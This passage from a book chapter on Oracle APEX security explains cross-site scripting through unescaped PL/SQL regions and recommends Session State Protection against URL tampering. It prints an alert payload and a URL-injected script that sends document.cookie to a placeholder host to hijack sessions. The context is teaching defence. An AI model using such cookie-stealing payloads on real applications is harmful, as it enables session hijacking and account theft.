http://apex.oracle.com/pls/apex/f?p=4201995:2:1007199804302002::::P2_EMAIL:<script>alert(doc ument.cookie);</script>
This URL will set the value of P2_EMAIL to <script>alert(document.cookie);</script>. The HTML Region will escape the content. The PL/SQL Region, though, does not escape the content and appears blank (see Figure 8-23). It will, however, run the Javascript and pop an alert, shown in Figure 8-24.
If the link were
.../f?p=4201995:2:1007199804302002::::P2_EMAIL:<script> window.location = 'http://someurl/' +• document.cookie;</script>
the Javascript would post the contents of the cookie to http://someurl. The contents of that post would be sufficient to allow a hacker to hijack the active APEX session.
By default, APEX escapes data on the way to the browser. As developers, though, we can override this default behavior by selecting item types and report column types that do not escape data. We can custom craft PL/SQL regions that do not escape data. Whenever we do this, we take on the burden of ensuring that no unintended Javascript is sent to the browser.
The discussion above naturally leads to the topic of URL tampering. URL tampering is one of the easiest ways for someone to see what mischief can be done in your application. APEX developers can minimize URL tampering by enabling Session State Protection (SSP) on an application. Not all applications will benefit from SSP, and it has some small drawbacks, but it should be considered for any application in which URL tampering is a concern. Please see the APEX documentation for more information on SSP.
For most, the Web is a wonderful, even magical place. Twenty years ago few would have imagined its reach and ability to speed commerce, enlighten students, and even foment revolution. It is the responsibility of developers to keep it that way, guarding our users from dangers they have yet to imagine. Oracle Application Express is a powerful web application framework that provides a wealth of features and security. Like any tool, though, it must be handled with care.
Wikileaks, Mastercard, and Visa were all victims of the architecture of web servers—which should rapidly provide content to those who request it. Many bystanders were inconvenienced by the slowdown of networks due to the vast amounts of traffic that can be generated by a small number of ever faster home computers which are susceptible to hijacking. The nature of the Internet, which allows computers to interact based upon open standards, carries with it the possibility of intrusion. Understanding the basic principles of how the Internet works, how browsers and web servers communicate, and how this communication can be exploited, is key to building robust, secure applications.
APEX provides a great platform to exploit what is best about the Internet and about Oracle—the ability to rapidly share information. APEX has many more features than discussed in this chapter for doing so securely. I have had the great pleasure of working with APEX developers, especially Scott Spadafore, on these and many other topics. Thanks to them and to the APEX community.